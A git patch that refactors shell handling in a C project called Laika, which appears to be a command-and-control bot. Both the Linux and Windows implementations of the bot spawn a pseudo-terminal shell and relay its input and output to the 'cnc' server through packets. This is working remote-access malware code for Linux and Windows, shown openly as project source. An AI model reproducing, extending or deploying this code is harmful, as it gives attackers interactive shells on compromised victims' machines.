From 63e36d1ebbc5832f5d8ce11d66374f1a2443abc5 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sun, 8 May 2022 01:21:37 -0500 Subject: [PATCH] Bot: small shell.[ch] + native refactor - `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member --- bot/include/shell.h | 7 +++---- bot/lin/linshell.c | 32 ++++++++++++++++---------------- bot/src/shell.c | 2 +- bot/win/winshell.c | 32 ++++++++++++++++---------------- shell/src/sclient.c | 4 +--- 5 files changed, 37 insertions(+), 40 deletions(-) diff --git a/bot/include/shell.h b/bot/include/shell.h index f250941..cb41bb8 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -6,7 +6,9 @@ #define LAIKA_SHELL_TASK_DELTA 50 struct sLaika_bot; -struct sLaika_shell; +struct sLaika_shell { + uint32_t id; +}; struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); @@ -15,9 +17,6 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id); void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell); -/* has to be a function since the struct is different depending on the platform */ -uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell); - /* handles reading & writing to shell pipes */ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell); bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length); diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index 6a6595b..cebd516 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -13,20 +13,20 @@ #include "bot.h" #include "shell.h" -struct sLaika_shell { +struct sLaika_RAWshell { + struct sLaika_shell _shell; int pid; int fd; - uint32_t id; }; struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { struct winsize ws; - struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell)); ws.ws_col = cols; ws.ws_row = rows; shell->pid = forkpty(&shell->fd, NULL, NULL, &ws); - shell->id = id; + shell->_shell.id = id; if (shell->pid == 0) { /* child process, clone & run shell */ @@ -36,14 +36,16 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro /* make sure our calls to read() & write() do not block */ if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) { - laikaB_freeShell(bot, shell); + laikaB_freeShell(bot, (struct sLaika_shell*)shell); LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); } - return shell; + return (struct sLaika_shell*)shell; } -void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; + /* kill the shell */ kill(shell->pid, SIGTERM); close(shell->fd); @@ -51,39 +53,37 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { laikaM_free(shell); } -uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) { - return shell->id; -} - /* ============================================[[ Shell Handlers ]]============================================= */ -bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { +bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; struct sLaika_peer *peer = bot->peer; struct sLaika_socket *sock = &peer->sock; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)); if (rd > 0) { /* we read some input! send to cnc */ laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_writeInt(sock, &shell->id, sizeof(uint32_t)); + laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t)); laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else if (rd == -1) { if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN) return true; /* recoverable, there was no data to read */ /* not EWOULD or EAGAIN, must be an error! so close the shell */ - laikaB_freeShell(bot, shell); + laikaB_freeShell(bot, _shell); return false; } return true; } -bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) { struct sLaika_peer *peer = bot->peer; struct sLaika_socket *sock = &peer->sock; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; size_t nLeft; int nWritten; @@ -93,7 +93,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char /* some error occurred */ if (length == nLeft) { /* unrecoverable error */ - laikaB_freeShell(bot, shell); + laikaB_freeShell(bot, _shell); return false; } else { /* recoverable */ break; diff --git a/bot/src/shell.c b/bot/src/shell.c index db89034..a119726 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -19,7 +19,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, } void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { - uint32_t id = laikaB_getShellID(bot, shell); + uint32_t id = shell->id; /* tell cnc shell is closed */ laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); diff --git a/bot/win/winshell.c b/bot/win/winshell.c index c930dcd..678018e 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -8,12 +8,12 @@ #include /* shells are significantly more complex on windows than linux for laika */ -struct sLaika_shell { +struct sLaika_RAWshell { + struct sLaika_shell _shell; HANDLE in, out; PROCESS_INFORMATION procInfo; STARTUPINFOEX startupInfo; HPCON pseudoCon; - uint32_t id; }; HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows); @@ -21,11 +21,11 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {; TCHAR szComspec[MAX_PATH]; - struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); + struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell)); HRESULT hr; - ZeroMemory(shell, sizeof(struct sLaika_shell)); - shell->id = id; + ZeroMemory(shell, sizeof(struct sLaika_RAWshell)); + shell->_shell.id = id; /* create pty */ hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows); @@ -73,10 +73,12 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro return NULL; } - return shell; + return (struct sLaika_shell*)shell; } -void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; + /* kill process (it's ok if it fails) */ TerminateProcess(shell->procInfo.hProcess, 0); @@ -95,10 +97,6 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { laikaM_free(shell); } -uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) { - return shell->id; -} - /* ============================================[[ Shell Handlers ]]============================================= */ /* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ @@ -163,33 +161,35 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo return hr; } -bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { +bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; struct sLaika_peer* peer = bot->peer; struct sLaika_socket* sock = &peer->sock; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; DWORD rd; bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL); if (readSucc) { /* we read some input! send to cnc */ laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_writeInt(sock, &shell->id, sizeof(uint32_t)); + laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t)); laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else { if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) return true; /* recoverable, process is still alive */ /* unrecoverable error */ - laikaB_freeShell(bot, shell); + laikaB_freeShell(bot, _shell); return false; } return true; } -bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) { struct sLaika_peer* peer = bot->peer; struct sLaika_socket* sock = &peer->sock; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; size_t nLeft; DWORD nWritten; @@ -197,7 +197,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char while (nLeft > 0) { if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { /* unrecoverable error */ - laikaB_freeShell(bot, shell); + laikaB_freeShell(bot, _shell); return false; } diff --git a/shell/src/sclient.c b/shell/src/sclient.c index a3b5b18..e2c48c5 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -90,10 +90,8 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat type = laikaS_readByte(&peer->sock); /* ignore panel clients */ - if (type == PEER_AUTH) { - LAIKA_DEBUG("got auth!\n"); + if (type == PEER_AUTH) return; - } if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL) LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");